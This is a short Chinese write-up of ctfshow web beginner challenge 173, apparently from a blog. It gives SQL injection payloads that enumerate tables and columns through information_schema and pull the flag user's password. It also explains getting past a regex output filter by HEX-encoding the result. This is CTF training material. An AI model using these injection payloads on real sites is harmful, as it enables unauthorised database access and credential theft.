ctf show web 入门173

1' union select 1,table_name,3 from information_schema.tables where table_schema=database()--+

1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user3'--+

这里跟上一题的不同之处在于:

1.原本只查询了 username, password 两个字段,现在变成了 id, username, password 三个字段

所以payload要改变为:-1' union select 1, 'hack', password from ctfshow_user3 where username='flag'--+

2.上一关只是检查 username 是不是 'flag'。而这一关,它把整个返回的数组 $ret 转换成了 JSON 字符串,然后用正则表达式模糊匹配只要任何一个角落包含 f-l-a-g 四个字母就不行 preg_match('/flag/i', ...) 检查

  • 这意味着: 只要最终返回给前端的整行数据里,包含"flag"这四个字母(不区分大小写),就会直接触发拦截,比如,假设密码中有flag也会把回显的内容过滤掉,此时我们使用HEX(password)把返回的密码编码从而绕过限制
相关推荐
LT101579744416 小时前
2026年性能测试平台报告生成:专业可视化与合规适配指南
大数据·数据库·人工智能
w20180016 小时前
四年级下册语文第七单元作文:我的“自画像”
笔记
2601_9577867716 小时前
多平台矩阵运营的底层逻辑:当账号管理、内容生产与线索转化被一条链路串起来
java·数据库·矩阵·多平台管理
咸甜适中16 小时前
rust语言学习笔记Trait(十)PartialOrd、Ord(大小比较)
笔记·学习·rust
sukioe16 小时前
深入理解 MySQL 索引:底层数据结构与 B+ 树设计原理
数据结构·mysql·oracle
小+不通文墨16 小时前
在树莓派中用*C语言*实现MQTT通信
c语言·经验分享·笔记·嵌入式硬件·学习
曹牧16 小时前
Oracle:多字段排序
数据库·oracle
TDengine (老段)16 小时前
TDengine MemTable 深度解析 — 内存写入缓冲区的数据结构与生命周期
大数据·数据结构·数据库·物联网·时序数据库·tdengine·涛思数据
瀚高PG实验室17 小时前
HGDB安全版单机修改用户密码
数据库·安全·瀚高数据库